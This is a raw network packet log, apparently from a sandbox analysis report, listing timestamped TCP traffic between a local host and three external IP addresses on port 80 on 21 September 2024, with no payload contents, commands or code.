Sep 21, 2024 13:33:41.887787104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887787104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887795925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887810946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887830019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887856960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887856960 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888029099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888041019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888053894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888067961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888081074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888092995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888103008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888103008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888104916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888139009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888139009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888571024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888581991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888595104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888607025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888628006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888667107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888704062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888752937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888761997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888767004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888814926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888814926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888901949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888915062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888937950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888951063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888958931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888958931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888967991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.888974905 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.888984919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889002085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889007092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889007092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889020920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889039040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889039040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889055014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889271975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889288902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889303923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889321089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889337063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889344931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889344931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889345884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889353037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889369965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889381886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889381886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889389038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889398098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889436007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889436007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889847040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889859915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889870882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889883041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.889909983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889909983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889941931 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.889992952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890002966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890013933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890026093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890038013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890049934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890063047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890064955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890064955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890077114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890089035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890101910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890101910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890101910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890151024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890151024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890736103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890752077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890763044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890774012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890788078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890799046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890810013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890813112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890813112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890825033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890830040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890837908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890846014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890849113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890861034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890871048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890877008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890877008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890887022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890898943 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890899897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.890930891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.890959024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891711950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891752958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891763926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891774893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891778946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891788006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891799927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891807079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891807079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891812086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891824007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.891833067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891855955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.891885996 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.917117119 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.917144060 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.917160988 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.917263031 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.919254065 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.940582037 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940619946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940651894 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940705061 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940737963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940761089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.940772057 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940807104 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.940834045 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940845013 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.940867901 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.940890074 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.940936089 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941545963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941580057 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941613913 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941632032 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941648006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941663980 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941674948 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941698074 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941706896 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941730976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.941740036 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.941773891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942385912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942435026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942466974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942492962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942492962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942498922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942532063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942552090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942552090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942563057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942604065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942604065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942612886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942643881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.942676067 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942694902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942694902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.942708015 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942724943 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942740917 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942755938 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942771912 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942781925 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942804098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942816019 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942837954 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942856073 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942872047 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942883015 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942904949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942926884 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942941904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.942985058 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.942985058 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943027973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943059921 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943084002 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943092108 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943125010 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943139076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943139076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943156958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943178892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943192005 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943221092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943229914 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943263054 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943274975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943274975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943298101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943311930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943361998 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943639040 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943672895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943705082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943713903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943738937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943753004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943753004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943772078 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943794012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943805933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943839073 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943850040 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943850040 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943871975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943898916 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943906069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943928957 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943938971 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943973064 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.943989992 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.943989038 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944005013 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944017887 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944039106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944051027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944075108 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944089890 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944120884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944307089 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944361925 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944521904 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944555044 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944574118 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944586992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944597006 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944618940 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944633961 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944652081 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944663048 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944684982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.944698095 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.944727898 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945234060 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945293903 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945600033 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945638895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945660114 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945672035 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945681095 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945703983 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945714951 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945739031 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.945749044 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.945780039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.946333885 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946388006 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946392059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.946422100 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946432114 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.946465015 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.946705103 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946722984 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946736097 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.946762085 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.946787119 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.947021961 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.947055101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.947083950 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.947089911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.947115898 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.947144032 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.947485924 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.947544098 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.949515104 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949641943 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949704885 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949738979 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949771881 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949784994 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949785948 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949805021 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949837923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949853897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949853897 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949938059 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949971914 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.949991941 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.949991941 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950022936 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950196028 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950228930 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950261116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950270891 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950270891 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950294971 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950309038 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950330019 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950362921 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950371027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950371027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950411081 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950426102 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.950457096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950457096 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.950511932 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951045990 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951097965 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951111078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951131105 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951149940 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951163054 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951190948 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951196909 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951231956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951256037 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951256037 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951266050 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951291084 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951301098 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951333046 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951354027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951354027 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951370955 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951405048 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951427937 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951582909 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951617002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951649904 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951673985 CEST	49712	80	192.168.2.9	176.113.115.33
